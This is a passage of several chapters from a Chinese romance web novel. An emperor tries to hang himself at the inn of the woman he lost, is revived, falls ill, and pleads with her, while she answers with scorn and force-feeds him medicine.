本来指望通过这种方式把泠川找回来就很可笑,他为自己的所作所为而感到羞愧。 “这几日我想自己走走,你们谁也别跟着我。” 在出发前,他已经料理好了后事,明日他便独自寻个僻静地方,吊死算了。 次日,他起得不算很早,但在镜子前坐了很久,仔细打理了自己的头发,眉毛,又挑了一身典雅的素白色衣裳,特意多穿了一件外套,戴好配饰,独自出门了。 袖子里早就准备好了上吊用的披帛,他想回到和陶金荣第一次相遇的地方,然后,死在那里。 天色很阴很阴,下了很大的雨,顾时下车后走到一半就已经浑身湿透。 横竖都是要死了的人,没有伞也没关系吧。 终于,他走到了他和泠川第一次相遇的地方。 第120章 湿冷的秋雨侵入了衣衫,皮肤上蒙着一层水雾,他手臂和锁骨处的旧伤发作,一阵一阵的痛,犹如被细针密密地刺了一遍。 真的好冷…… 站在屋檐下,他把口中的雨水吐了出来,舌尖的银钉刮过牙齿,痛觉贯穿全身。 他的手又沉又痛,抬不起来,只能勉强用足尖敲了敲门。 “客人,您都浑身湿透了呀。” 一个十三四岁的男孩子给他开了门。 他把一锭银子塞进他的手里: “给我寻个房间。” 虎子本来是想婉拒的,可看到那一锭亮闪闪,沉甸甸的银子,瞬间改了口: “好嘞,二楼有地方,您先去休息吧。” 顾时抬起头看了下四周。 这里似乎刚刚装潢过一遍,但十分简陋,没什么特别之处。 他努力从记忆里翻找了一遍,怎么也找不见她的影子。 也许昔日里,她也曾在这里嬉笑玩闹过吧。 罢了,死到临头了,就这样吧。 虎子把门打开,里面是光秃秃的床板,一个旧衣柜,一个摇摇晃晃的破板凳。 “不好意思,现在这里什么都没有,您先坐,我待会儿叫我嫂子给您拿被子来。” 顾时轻轻颔首。 见虎子走了,顾时便把披帛搭在房梁上,他不想自己双眼凸出,舌头伸出的样子被人看到,便把外套脱下来蒙住了脸。 板凳一踢,他便挂在了房梁上。 反正这样活着也无甚趣味,这辈子就这样吧。 他的妻子短命,他也短命。 下辈子再不来了。 楼下,虎子献宝似的把那一锭银子塞到陶金荣手里。 “嫂子……有客人来了,在二楼借宿。” “我去给客人拿被子,你去拖地板。” “好的嫂子。” 陶金荣抱着被子走到二楼,只看到一具浑身湿漉漉,吊在半空中的尸体。 她瞬间血液凝固,怀中的被子一下掉在了地上,身体比大脑先做出了行动,一个正蹬,直接把那人从绳结上踹了下来。 “糙你大爷的,哪来的水鬼。” 陶金荣骂了两句难听的脏话给自己壮胆,哆哆嗦嗦地去拉那人头上盖着的衣裳。 那人似乎还活着,动了两下,猛地咳嗽了起来,她一狠心,猛地把他头上的衣裳扯掉了。 看清那人的面庞后,陶金荣猛地骂了好几句脏话,连连后退,却被一把抓住,按在了怀里。 “泠川……我已经死了对吗?” 陶金荣绝望地闭上了眼,她多希望是这样。 他把她压在身下,用青紫的嘴唇去亲吻她,他骨架大,又完全没收力气,陶金荣动弹不得,连呼救的余地都没有,喉咙里只能发出一丁点的呜呜声。 细小的银钉刮着她的口腔和舌,又痛又痒,带出一丝恼意来,她奋力挣扎两下,却毫无作用。 虎子拿着扫帚进来,被吓了一跳,鼓足勇气,抄起扫帚就往他身上打,一边打一边哭叫: “臭流氓!你要对我嫂子做什么!” 顾时抬起未受伤的那侧手臂挡了两下,才初步恢复了神志,扶着一侧的墙面站了起来,脸色青紫。 他看着那十三四岁男孩子愤怒的样子,只靠在墙上,苦笑着想,原来自己竟然没死,还是个活人。 那恐怕是自己一时神志恍惚,认错人了吧。 “虎子,停手吧!你得罪不起他。” 那是一个他非常非常熟悉的声音。 顾时错愕地转过头去,泠川侧脸的线条一下侵入他的双眼,微微凸起的眉弓,挺直尖锐的鼻梁线条,花瓣似的唇,略微向下的嘴角,厌烦的神情。 他想,她看起来比之前憔悴了。 为什么会这样? 难道秦思昭没照顾好她? “泠川?” 他用颤抖的双唇叫了他给她取的小字。 “别再那样叫我了行吗?” 她冲着他翻了个白眼。 一行泪从他的眼中落了下来: “你为什么骗我?” “嗯?我骗你什么了?” “我以为你死了。” “那和我没关系,我走的时候都已经和你说清楚了,肯定有误会。” 她不耐烦地说道: “滚回去吧,有多远滚多远。” 他低头擦了擦泪,委屈道: “外面下了那么大的雨,你就赶我走么?” 虎子握着扫把愣神。 这是什么情况? 陶金荣不是和秦思昭感情甚笃吗? 为什么会和另一个男人滚到一起去了? 他莫名其妙觉得有些不悦。 “嫂子,他是谁?” “你别管,反正你得罪不起。他是个被人伺候惯了的半残废,自己没法照顾好自己,你赶紧去给他铺床打洗澡水吧。” 虎子忽然恼了: “我不去,我不伺候他。我表哥对你那般好,你怎么能这样骗我表哥?” 陶金荣生怕虎子一不小心把秦思昭已经死了的事说出来,赶紧撵他走: “小兔崽子,大人的事你别管。爱干不干,哪凉快哪待着去。” “哼!我再也不管你了!” 虎子把扫帚一撂,赌气走了。 陶金荣和顾时之间的气氛一下变得十分尴尬了起来。 “泠川,秦思昭呢?他怎么不在?” “他有事被调走了。” “他怎么能这般狠心,竟丢下你一个?” 她不理他,只把被子褥子从地上捡起来给他铺好,说: “你先将就一晚吧。你会烧柴火么?会的话自己去烧水洗澡,不会就湿着吧。” “……” 顾时用泪蒙蒙的双眼瞧着她,妥协了。 他右臂本身就受了伤,抬不起来,更是提不了重物,非常勉强地自己去了厨房,陶金荣大发慈悲地赏了他一个火折子,看着他用别扭的姿势提水的样子,脸上始终挂着嘲讽的笑容。 浑身湿漉漉,狼狈成这个样子,好像一只狗啊。 要是这时候能有杯热茶喝着,能让她坐下来慢慢欣赏他的丑态就好了。 冷笑一声,陶金荣转身去找虎子,有些话她得跟他说清楚,她不希望无辜的孩子受到牵连。 “虎子,虎子。” 她敲了敲他房间的门。 “别进来!我不想看见你!” 虎子还在赌气。 陶金荣叹了口气,站在门外说道: “我先跟你说清楚,我没骗你表哥,他什么都知道的。那个人是京中的高官,就算把咱们两个都杀了也没事,反正我已经得罪他了,我无所谓,就是你年纪还小,以后的路还长,千万别招惹他。” “还有……你别把你表哥……的事告诉他,就说是他有事被调走了就好了。” “他是你的老相好?” “嗯……算是吧……” “你都有老相好了,还来招惹我表哥干嘛?” “……” 陶金荣沉默了半晌,说道: “是我的错,我不该太贪心去招惹他的。” 次日,顾时没衣裳可穿,只得光着身子窝在被子里。 昨日他淋了雨,又差点吊死自己,被陶金荣救下来后又自己烧水挑水,光着脊梁洗了半天衣裳。 今日生了病也在情理之中。 陶金荣没给他送饭,只把他丢在屋子里自生自灭。 到了晚上,她大发慈悲地给他拿了一晚稀粥,进了他的屋,便看见他烧得两颊通红,痛苦地闭紧了双眼。 “喝吧。” 她把稀粥放在他的床头柜上,没有要照顾他的意思。 过了一日,陶金荣见他烧得快要撑不住了,才勉为其难地给他熬了一碗药,里面特意多放了点黄连。 “顾时啊,我不懂药理,便按我相公留给我的方子将就着熬了一碗,你就喝吧。可别死在我这里了,” 她一手扶着他的后脑勺,另一只手灌他喝药,一碗辛辣的苦药就这样被灌进他的喉咙之中,顾时说不出半句话,只绝望地咳嗽了起来。 陶金荣看见他痛苦的样子,忍不住笑出声来。 今年来他收了好几茬子税,就为了办个什么破选秀。 兵匪叛乱,害得虎子的亲娘死了。 疫病四散,治安失控,秦思昭的死也有他一份功劳。 窝囊废一个!她不把顾时毒死就不错了,还指望她伺候他?活该! “泠川……别走……” 他用最后的力气抬起那只刺痛又不断抽搐着的手,想去抓住她的衣角,她却头也不回地走了。 说实话,要是顾时真的死在了她这里可是很麻烦的一件事,父老乡亲们可能都会受牵连,他病得越发严重了,看他那个痛苦的样子,她可真怕他撑不过今夜。 罢了,叫他的下属们来一趟吧。 “虎子,你去一趟李县丞那里,去找一个叫金盏的丫鬟,告诉她,她顶头主子生病了,病得很严重,叫她多找几个人来伺候他。就算找不到,你随便找个侍卫什么的说都行” 虎子还在闹脾气: “我不去,你自己去。” 陶金荣叹了口气: “大半夜的,我怕他死在这里,到时候整个县都会有麻烦的。” “他都是这么大的官了,你还来招我表哥……” “虎子,听话,你真的别闹脾气了。” “你不守妇道。” 这种话对于陶金荣来说几乎不痛不痒,她早就当成耳旁风了。 “我确实不守,听话,赶紧去叫人吧。” “我不去。” 陶金荣终于忍无可忍说道: “他是皇上。” “什么!” 虎子吓了一大跳,小腿抖如筛糠。 “你嘴严一点,别把你打了他的事说出去应该就行,反正他自己干的事也不怎么光彩。赶紧去请人来,这事应该就过去了,他现在肯定没空管你。” 他再也没了那赌气的样子,麻溜地从炕上爬了下来,骑着马便去了。 陶金荣给顾时投了条湿漉漉的凉汗巾,贴在了他的脑门上。 “顾时,你要死也别死我这里,会给我添麻烦的。” 她轻轻地打了打他的脸。 “好疼……” 他躺在床上,气若游丝,只感到浑身上下的关节剧痛,有旧伤的右臂时不时抽搐几下。头发乱七八糟地贴在脸上,顾时觉得自己这个样子简直难看极了。 “我……我没想到我这辈子还能见到你……” “陶金荣……你……你杀了我吧……我不想活了……好痛苦,你给我一个痛快……” “不行,给我活着。” 陶金荣拧了一下他的脸,但是他由于身体关节的剧痛过于强烈,已经感觉不到她拧他脸的疼痛了。 烧成这个样子,她怕他半夜死掉,索性睡在他的旁边。 即便她故意没给他吃饭,心中恶意满满地虐待了他两日,他因病痛而眉头紧皱,依然讨好地抱着她,吻着她的脖子。 说实话他的身子骨有些重,压得她直岔气,但还是迷迷糊糊地就这样睡着了。 大半夜一大堆人打着灯闯了进来,直接抓她在床。 和金盏对视时,她们二人皆感觉到了尴尬。 金盏把脸撇到一边去,脚趾疯狂抓地。 她是不是不该带人进来啊。 陶金荣想从床上起来,却被顾时翻了个身压住,他把整个头枕在她胸口上,害得她喘不上来气。 金盏的嘴角抽了抽,强行控制住了自己的表情,装出一副惊讶的样子,猛地一跪开始假哭。 “姑娘……你还活着真是太好了……” 你早就知道我还活着,还装什么装啊! 金盏拙劣的演技尬得陶金荣头皮发麻,她赶紧推了推顾时: “顾时,顾时,起来,你的属下来伺候你了。” “泠川,别走……” 他把她抱得更紧了些。 见了这幕,几个男性侍卫都撇过脸去,尴尬地溜出去了。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 120-126 第121章 不是……不是……这对吗? 陶金荣眼睁睁地看着几个宫女也纷纷捂着脸往外跑了,尴尬地抓紧了床单。 “金盏!金盏!别走!他烧傻了我弄不动他,你快点找大夫来!多找几个!再叫侍卫来把他拉开!沉死我了!” 金盏憋着笑说道: “有人去找大夫了,就是还得等一会儿才能过来。” “带衣服了吗?他的衣服被淋湿了还没干透。” 顾时的手臂有伤,拧不干衣裳,只能随便晾在椅背上,到现在都没干透。 陶金荣红着脸把被子给他往上拉了拉,盖住了他光着的肩膀。 非礼勿视,非礼勿视,金盏只好把脸撇到一边去,一味地装瞎子,回答道: “带了,我去找,你给他穿上吧。” “我可不伺候他,赶紧叫医生。” “行了,行了,别催了,我知道了。” 过了半晌,医生终于来了,陶金荣觉得自己看见了救星,伸出双手道: “他烧傻了压着我不放,赶紧把他拉起来。” 三大夫相视一眼,只好默默地走上前去,费了九牛二虎之力才把他翻过来。 “陛下他烧得很严重,若是再耽误一会儿,恐怕就……” 陶金荣对医生的话充耳不闻,只伸手拍了拍胸口的褶子,心想还好自己穿了外衣,不然真是丢死人了。 “行了……我走了,你们照顾他吧。” 她扭头,鄙夷地看了一眼顾时躺在床上,脸颊通红,紧闭双眼的痛苦样子。 烧吧,最好烧成个傻子,她就彻底清净了。 青叶忽然把她拦住,问: “你要去哪?” 陶金荣翻了个白眼: “不关你事。我想去哪就去哪,轮得到你管?” “不行……你不能走……陛下醒了之后,肯定会想看到你。” “青叶,好姑娘,给你家主子留点面子吧。” 陶金荣叹了口气: “我都已经和别人成婚了,还有什么可说的。” 听到她说的这话,冷汗从青叶的额头上冒了出来,她说道: “不行,你是走是留,也要由陛下决定才行。” “你觉得他看到我和别人成婚,是会高兴还是会生气?如果他因为我的事而生气,会不会波及到你?不如睁一只眼闭一只眼算了,你说呢?” 她知道这个姑娘心性执拗,索性拆开了揉碎了给她讲一遍。 “可是……可是……陛下以为你死了……” “那又怎么样?对于他来说,我死了比我另嫁了好吧,这事传出去你不替他丢人呐。” 一个医生从里面走了出来,道: “陛下已经退烧了,一直说要找泠川……不知是哪位?” 陶金荣冷笑,他虽然嘴上说着不知是哪位,双眼却只盯着她,明显是知道嘛。 只是这退烧的速度未免也太快了些…… “怎么这么快?!” 得知他已经退烧了,她的脸色有些不好。 “陛下高烧,但不发汗,这是大青龙汤症,一剂大青龙汤下去,发了汗,人很快就退烧了,只是现在虚弱得很。” “那可真可惜,怎么不烧死他算了。” 陶金荣直接口不择言地诅咒顾时。 听到此话,医生脸色尴尬,只好支支吾吾地赔笑。 青叶脸色忽然一变,愤然道: “他对你那般好,你怎么能这样说他?还有良心吗?” 金盏脚下打滑,三步并作两步,赶紧跑过去,一把捂住青叶的嘴: “别打架!别打架!好姑娘,你别跟青叶一般见识,她是个直肠子,他在找你,你赶紧进去吧!” “罢了,我给金盏一个面子。” 陶金荣扫了青叶一眼,冷哼一声,转身走了进去。 金盏又气又怕,死死捏住了青叶的下巴,质问道: “你管什么闲事?懂不懂规矩全是人定的?她愿意骂你就由着她骂去吧,陛下都惯着她,你犟什么嘴?嫌自己命长?到时候人家又好在一起了,你里外不是人!” 破旧的木板床上铺了昂贵的被褥,卧房内点了很多根蜡烛,把寝室照得灯火通明,可即便是在这样艳红的火光之下,顾时的脸色依旧苍白得可怕。 一个医生站在一旁,用温水给他擦脸,他半躺在床上,没什么反应,像个木偶一样由着他擦身子。 他的睫毛颤了颤,说道: “泠川,你来了……” “……” 陶金荣沉默了半晌后,说道: “找我干什么,我们现在可没什么关系吧。” 想说的话实在太多,可顾时的嗓子又疼又哑,只从喉咙里挤出几个单薄的字来: “你……还活着……” “是啊。” 她面无表情。 顾时只觉得喉咙里一阵甜腥,一口气堵在胸腔里,越聚越多,最后猛地吐了出来。 “我管不了了!陶金荣!你今天就给我个准信吧!你到底还要不要我!你不要我……你若是不要我我就不治了……死了算了!咳咳咳……咳咳……” 他剧烈地咳嗽了起来,一旁的大夫又惊又慌,赶紧给他拍背。 陶金荣冷漠地看着他痛苦的样子,说道: “你确定真的要给太医们听这个吗……这种……我们两个之间的私事?” 太医在短暂的沉默后,诚惶诚恐地说: “不知道怎样称呼您……我们先出去,麻烦您过来搀扶陛下一会儿。” 他站起来的时候腿肚子直打转,听到这种东西,一不小心是要被砍头的。 陶金荣不情不愿地坐在他身旁,假模假式地扶了一下。 他跟没骨头似的,把整个身子都靠在她怀里,恨不得和她长在一起。 她冷冷道: “我成婚了。” “我知道啊!你都跟别的男人跑了……我能不知道吗……” “你跟有夫之妇纠缠,就不嫌丢人吗?” “我都已经变成这个样子了,还能怎么办……没你我根本活不成。” “我说了,我都成婚了。” “那……那咱们偷偷摸摸的,不让他知道就好了……反正他不也没回来吗?” “说实话,我早就受够你了。你这样的白给我我都不要。” “那我不治了。” “你爱治不治,少来这套,我根本无所谓你的死活。” 她想下床,可顾时不知从哪来的力气,死死抓着她不放,她只好扯开嗓子叫医生进来,可他依然不肯松手。 “顾时,别闹了,大半夜的,你不睡觉我还要睡呢。” “你不陪我我就不睡。” “你傻不傻?医生要进来照顾你,几个男人一趟一趟地进来,我一个女人怎么能睡得安生?赶紧松手!” 被训斥了一通,顾时才终于松手了。 陶金荣赶紧站起来,往后退了好几步,说道: “这么多人,这里根本就住不下,到了明日你们赶紧搬走吧,我还要看我的店呢。” 无视他委屈的眼神,陶金荣扭头就走了。 她想去后面弄口水喝,却发现虎子自己在柴房里蜷着。 “虎子,你怎么了?” 他声音里带着哭腔: “嫂子,你是不是要跟他走了?到时候就没人管我了……” 陶金荣哑然失笑: “你表哥这么大的时候都一个顶俩了,你怎么窝囊成这样?” 回答她的只有一阵若隐若现的抽泣声,听得她心里发酸,可有些话她还是得跟他说清楚: “虎子……你要不还是离我远点吧……我怕他莫名其妙看你不顺眼。虽然你还小,可毕竟你是男的我是女的,你离我太近不是好事。” “呜……呜……” 他没说半个字,只咬着自己手臂,一味蜷在柴房里哭。 “哎,我把水放在桌子上了。早点休息吧,实在不行我给你留点钱。” 她叹了口气,转身走了。 卧房内,金盏正勤快地帮她铺着带来的高档被褥,陶金荣顺手扯住被褥的另一头,和她一起把床铺好了。 “姑娘啊,你这里的被褥也太破旧了些,怎么过得这般穷酸?我明日再去买些好的东西来吧。” “我就乐意穷酸,我这里可住不下这么多人,赶紧带着他走吧,别给我添麻烦了。” 金盏一皱眉,气恼道: “我说了又不算,有人想赖在这儿不走呢。” “我都成婚了,他往我这儿凑什么?不嫌丢人。” “咳咳……咳……” 金盏咳嗽几声来掩饰尴尬,说道: “姑娘,要不你重新跟他好了算了,不然我们全跟着遭殃。” “哼,你的意思是,让我一个人替你们遭殃是吧。” 陶金荣翻了个白眼,金盏只得悻悻地走人了。 得罪不起,这一个个的全都得罪不起…… “不管了……先睡觉吧……” 她摸了摸这丝滑柔软的被褥,真是好久没用过这么好的东西了,这被褥她要自己留下,不还给顾时啦。 躺进去就像躺进云彩里似的舒服,被顾时抓着作了一夜,她早就困了。 次日,她睡得正香,却被摇醒,一睁眼,看见的是金盏怨气冲冲的脸。 陶金荣有些起床气,又实在不想离开这温暖舒适的床,语气十分不好: “金盏,你是不是吃饱了撑的?干嘛叫我?我都要睡到日上三竿的。” 她握紧拳头,咬牙切齿地从牙缝里挤出了四个字: “他闹绝食。” 第122章 陶金荣愣了一愣,说道: “大早晨的,吃不下饭也正常,他不吃就不吃呗,来叫我干嘛?” “他不仅是不吃饭,也不说一句话,就躺在那,干瞪着两只眼,不知道是在跟谁赌气。” 金盏深深地叹了口气,继续说道: “总而言之,把大家都弄得烦死了,一群人跟着他起急,你赶紧去看看吧。我知道你也烦,可是你一个人烦总比我们一群人都烦心强,除了你之外,谁也不好使。” “罢了,罢了,你别念叨了,念叨得我头疼,我去看看好吧……” 陶金荣皱着眉,拖着身子从床上爬了起来。 她刚从床上起来,金盏就把一件精致的外衣给她披上,殷勤地伺候她洗漱梳妆。 她刚把胭脂递到陶金荣眼前,她就厌烦地把她的手推开,说道: “洗漱利索就行,上妆就不必了吧。” “好,随你。” 陶金荣叹了口气,就算心里知道金盏在给她下套,她也只能钻了,她现在觉得一群人的脑袋全都拴在她的裤腰带上,浑身都不自在。 走进了顾时的卧房,里面简直被收拾得不像她家,又点了熏香,又挂了帷幔,和一开始光秃秃的简陋样子简直两模两样,她实在是有些认不出来。 顾时就那么跟死尸似的躺在床上,脸色和嘴唇都白得像纸,脸颊凹陷下去,一动不动地看着天花板。 一个大夫端了一碗稀粥进去,他看都不看,伸手一挥,把粥打翻在了地上。 “……” 看到他这个样子,她心里就来气。陶金荣没有掩饰脸上的嫌恶之情。 “顾时,你想死就去死,但能不能别死在我这里,给我添麻烦啊?麻烦你回京城再死好不好?” 她挑了个最破的碗盛了半碗粥,她可没有那个耐心一勺一勺地喂他吃东西,直接把碗塞在他的嘴里灌了进去。 他似乎是觉得把吃进嘴的东西再吐出去很不雅观,只得强忍着把粥全咽下去。 那粥实在是有些烫,烧得他的喉管火辣辣的,他用帕子掩着咳嗽了起来。 “麻烦你今天带着这一大堆人赶紧滚吧,我这里不欢迎你。再说这里条件也穷酸,你肯定不习惯。” “……” 顾时不说话,只用帕子掩着,不停咳嗽。 她忍无可忍地揪着他的头发,强行让他把脸仰起来,说道: “赶紧滚!听见没有!” “不要……” 他的声音异常嘶哑虚弱,陶金荣一时失神,只得把手松开,就算有私人恩怨,她也没兴趣动手揍一个快死的病人。 “跟我一起走……” 他把手放在了她的后背上,头靠了过来。 这个动作一下击碎了陶金荣最后一丝慈悲心,她掐着他的脖子,把他按在了床上。 “别碰我!” 他躺在床上,没有一丁点反抗,她觉得即使自己现在就动手把他掐死,他也不会有任何动作,顶多从喉咙里时不时发出一两声试图唤醒她良心的悲鸣。 真不知道他是真的没力气挣扎,还是心里根本就不想反抗。 不管是哪种都有点令她恶心,陶金荣最后还是把手松开了。 “我今天来看过你了,你别给我添乱,让你吃药你就吃药,让你吃饭你就吃饭,能动了就赶紧滚吧。” 她厌恶地走了出去,把门关上,扭头便去找了青叶。 “青叶,我这里条件差,也不算特别干净,恐怕住在这里不利于恢复,你赶紧想办法把他带走吧,他已经烧傻了,你也别管他愿意不愿意了。” 陶金荣觉得自己此言非虚,顾时确实已经因为虚弱而丧失了自尊心,只剩下一点最基本的本能。 病成那样了,也顾不上丢人不丢人,抓着她就一通胡言乱语,真是让人白白地看了笑话去。 “无妨,我已经带人把整个屋子都清洁过了,现在陛下虚弱,不能随意挪动,等他好一点再说吧。” 陶金荣有些气恼,愤愤地又走了回去。 两个医生站在门口犯了难: “不……不知道该怎么称呼您……这里滋补用的药材有限,都是些大黄,*麻黄之类的虎狼药,所有补药都买来了,可也不多,若是被陛下打翻了……恐怕没有多少多余的药材来滋补。” 陶金荣有些不耐烦: “罗里吧嗦一大堆,你到底要说啥?” “还请您务必让陛下把这碗药喝下去。” 医生双手把药碗递到了她的手上,她索性大大方方地接过来。 “也没那么难,按着后脑勺,掰开嘴,直接灌下去就完事了。” 听了这话,两名医生被吓了一跳,大眼瞪小眼,支支吾吾,说不出半个字来。 陶金荣露出志得意满的微笑,端着药便往里走。 “顾时,喝药,是你自己喝,还是我灌下去?” 顾时想起自己刚刚被灌下去的滚烫的粥,那滋味可不好受,瞬间额头上冒出一层冷汗。 他用沙哑的嗓音说道: “我自己喝吧” 接过碗,犹豫几次,顾时没喝下去。 “快喝啊,怎么不喝呢?” “我……怕苦……” 陶金荣毫不留情地发出了爽朗的嘲笑声: “哈哈哈哈哈……笑死我算了,这么大的人还怕苦……丢不丢人?既然如此,那就让我来灌下去吧。” “别……泠川……” 还不等他做出什么像样的反抗,陶金荣就一把夺过药碗,掰开他的牙关,直接把那乌黑滚烫的药汤灌入他的喉咙之中。 “好……好苦啊……” 这一次顾时倒是把那药汤全部喝下去了,没有呛到,只是那苦味残留在舌尖上实在难受。 “忍着吧。” 陶金荣忽然看到他的舌尖似乎闪过一束细光。 “顾时,你嘴里是什么东西?” 她直接欺上身去,动手掰开他的牙关,他只由着她,把嘴张开,里面是一颗银光闪闪的舌钉。 她用指甲去拨弄了两下,问: “这是什么?” 一阵刺痛从舌尖上传来,顾时的干涩的眼中渗出了泪花。 “舌钉。” “哦……好像是把整个舌头都穿透了呢,这应该很痛吧。” “嗯,很痛。” 她嫌恶地看着他,说道: “你真是怪癖。” 顾时虚弱地笑了起来,握着她的手,轻轻吻了一下。 她却像碰到了什么脏东西似的,猛地把手抽了回来。 “你赶紧带着人走吧,我这里条件差,又缺医少药,恐怕不利于你恢复。” “你跟我一起。” “我不愿意。” “秦思昭去哪了?” “他一个朋友告诉他远方有一株罕见的药材,他很有兴趣,便和朋友一起上路了。” “切……这一路上他是死是活都不知道,你守着他作甚?反正他都不在乎你,自己跑了,你为什么不能跟我走?” 听到这个消息,顾时的嘴角有些难压,可在高兴之余又品出一丝古怪来。 秦思昭怎么可能为了一株草药跑得那么远,把她自己一个人丢在家里? 但若真是这样,那可太好了。他可不希望这个消息是假的。 “我就是不想和你走,和他在不在没关系,不管有没有他,我都会离开你的。” 顾时捂住自己的胸口,猛地咳嗽了几声,她的话真是句句诛心。 “泠川……我……我知道我对不住你,以后我不那样了,你不能原谅我吗?” 他抬起头,被她嘴角笑容里的一丝冷意激了一下,打了个寒战。 “我就算不记恨你,也不会喜欢你的,我们早就是毫无关系的陌生人了。” “陶金荣,你就这么希望我去死吗?” 一行泪从他的眼角流了下来。 “我告诉你,我们绝无可能是毫无关系的陌生人,绝无可能。” 她把脸撇到一边去,冷哼一声: “随便你,你可以这么想,可事实不会因此改变,我们就是陌生人。” “不行,你如果不跟我走,我就死在你这里!我是认真的!” 他用两只手握紧了她单薄纤细的手。 “你不是刚选秀完么?就算你要死,恐怕你的三宫六院也不答应吧。我看你生病就是因为三条腿忙得不行,把自己肾都掏空了。” “你胡说!你冤枉我!咳咳……咳……” 听到顾时剧烈地咳嗽起来,医生赶紧进来给他按揉穴位。 “这位……姑娘……陛下他目前的身体状况不能承受太剧烈的情绪波动,还请您千万不要刺激他。” 陶金荣翻了个白眼,切了一声。 “没用的东西……” 顾时背过身去,整个人缩在被子里,小声地抽噎着,她直接把被子一掀: “你一个大老爷们,当着别人的面哭成这样,不嫌丢人啊?” 医生急切地劝阻她: “姑娘,现在陛下的身体最重要,有什么事留着日后再谈吧……就当是发发善心,哄一哄他吧。” 陶金荣真是被说得哭笑不得,只好扭头便走。 “别走……泠川……别走……” “不是说我留在这儿刺激你,不利于你恢复么?” “没有……不是……求你了……留在这儿陪我。” 陶金荣翻了个白眼,他这个样子和一条狗究竟有什么区别。 第123章 不得不亲眼见证这样一出好戏,医生的面色有些尴尬,清了清嗓子道: “姑娘,为了陛下的健康着想,还请您留在这儿陪他一会儿,我……我先回避一下。” 陶金荣伸手抹了把脸,脸上挂上了嘲讽的笑容: “麻烦您叫人搬一张床来,我困了。” “好的。” 待医生走之后,顾时默默地问: “泠川,你为什么不和我一起睡?” “我说了啊,我都成婚了,你到底要问几遍,烦不烦啊?” “可是那日你明明陪我睡了。” 她低声骂了句脏话,她那日里以为顾时烧傻了,什么都不知道呢,可真是后悔得要死。 “我不是为了哄你,那是因为我怕你死了才勉为其难地躺在你边上,毕竟没有多余的床。” “……” 顾时沉默了半晌,说道: “没想到你还会怕我死了……我以为你一直都盼着我死。” “那倒没错,你要是死了倒也不打紧,只是别死在我这儿,给我添麻烦。” 她瞥了他一眼,真没想到他还有点自知之明。 顾时默默地把头缩进了被子里,脊背弓起来,把被子撑开,背对着她,嘴唇嗫嚅了几下。 究竟他要做什么才能让陶金荣重新回到他身边? 他想不通。 不管他说什么,做什么,得到的都只会是冷嘲热讽罢了。 这世上究竟还有什么是她所想要的? 他究竟还能给她什么? 她还活着,只要他想,随时都可以靠权势强占了她. 可是明明她就在他的身旁,却再也无法心意相通,这种感觉真是…… 好痛苦啊。 他忍不住抓紧了自己胸口的衣襟,一行泪流了下来,泪珠在脖子上打转,落入锁骨。 要不就放弃吧。 还给她,属于她自己的人生。 反正一切都是因为他自己太过无能。 青叶和金盏一起把床搬了进来,陶金荣打了个哈欠,钻进去美美睡起了午觉。 今日实在是起得太早了,她没休息好,顾时缠着她不放,她也不能真的跟他这样大眼瞪小眼吧,索性补个觉算了。 这床铺格外舒服,她睡得挺好,后脑勺一沾枕头就着,很快便响起了均匀平稳的呼吸声。 她睡着了…… 顾时侧过脸去,睁开双眼,看着她留给他的一个后脑勺。 她睡着了。 他用自己未受伤的那侧胳膊,强撑着自己病弱沉重的身体坐了起来,沉重的头颅里一阵眩晕。 病去如抽丝,如今他当真觉得自己的身体如同被抽空了一般。 手指死死扣住床头,腰一用力,他站了起来。 平日里毫不费力就能自然而然做到的事,如今竟然这般沉重困难。 他大概是差一点就要死掉了吧。 扶着墙,迈开步子,他不敢惊醒陶金荣,只好竭尽全力放轻了步伐。 他走到她的床边了。 顾时的心中突然产生一阵欢喜,仿佛自己做到了什么非常了不起的事,他睁开眼,仔仔细细地看着陶金荣的睡颜。 她的气色变得有些蜡黄,似乎是疏于保养,颧骨上起了一点晒斑,鼻梁挺直,下颌线清晰流畅,眼角微微上挑,像工笔在宣纸上画出的一条线。 她的嘴唇微张,露出一小点白皙的牙齿。 她的唇,是不是依旧像之前一样柔软。 怔怔地看愣了神,他伸出微微颤抖的指尖,想确认一下。 可他的指尖还没碰到她的唇,就被她伸出手,飞快地一把抓住了。 她的眼瞬间睁开,如同一只被惊醒的鹰隼,死死盯着他,质问道: “顾时,你想干什么?” “我……我爱你。” 不仅是手指被抓住,心意也无处遁形,顾时局促,无助,又无可奈何地被她定在原地,简直颜面尽失,自惭形秽。 “我知道。” 听到这三个字,他忽然觉得膝盖一软,浑身发抖。 “陶金荣……别……别说了……我……我不想听……我什么都不想知道!” “唉……” 见他这个样子,陶金荣只叹了口气,原本准备好了尖锐的腹稿,如今竟是半个字都说不出口,只好换了个话头: “顾时,你生病了还折腾什么,我扶你回你的床上去,你别再来打扰我了。” 她利索地翻身下床,搀扶着他,把他哄回了他自己的床上去。 顾时红着眼睛,吸了吸鼻子,说道: “我现在心里头已经做好准备了,你说吧。说什么都行,我都听着。” 被顾时这么红着眼睛一看,陶金荣忽然觉得自己变成了一个大哑巴,什么话都说不出来。 还说什么爱她之类的话……简直是废话……他爱她,难道她能不知道吗?她当然一直都知道。 可是这顶个屁用,她又不是因为他不爱她才离开他的。 “……” 她把头撇到一边去,刻意用冷硬的声音回答道: “我和你之间没什么可说的。” “陶金荣,你不爱我了。” 他开始抽泣。 “怎么?你现在才知道吗?” 陶金荣握起了拳头,锤了下床,心中简直不厌其烦。 她讨厌顾时,也讨厌皇宫,可她此时此刻听到他的哭声,心中最讨厌的竟然是自己。 “我办选秀……你竟然都没有来找我……” “你娶几个老婆关我屁事。” “我只是希望你还活着,能来找我,阻止我,抽我一个巴掌。除了这个之外,我什么都不求。” 他抹了抹眼泪,提高了嗓门说道: “我没碰过除了你以外的任何人,你心里不也知道?” “你自己选的,关老娘屁事。老娘管不着你的屌。” 她口中的话越来越粗俗,伸出手去狠狠地挠了挠自己的头发,心中一阵苦涩烦闷,她觉得自己可以跳过他说的以上几步,直接快进到赏他一个巴掌。 “我爱你!我这辈子已经这样了,定型了!我只能爱你,爱不了别人了!” 他像是在用余下的全部的生命,嘶喊出了这句话,可喊完了,他便失去了全部力气,直挺挺地躺在床上,气若游丝地问: “你打算把我怎么办?” “陶金荣,你到底打算把我怎么办?” 第124章 她愣了一愣,忽然苦涩地笑了起来。 “顾时,如果你一个人待着觉得难受得慌,就给自己找点别的事情去做吧。” 陶金荣觉得自己有资格说这种话,毕竟她就是这样做的,每日都竭尽全力让自己忙起来,给自己找目标,这样就不会感觉那么孤独。 反正秦思昭也不会回来了,以后的人生她都要一个人过。 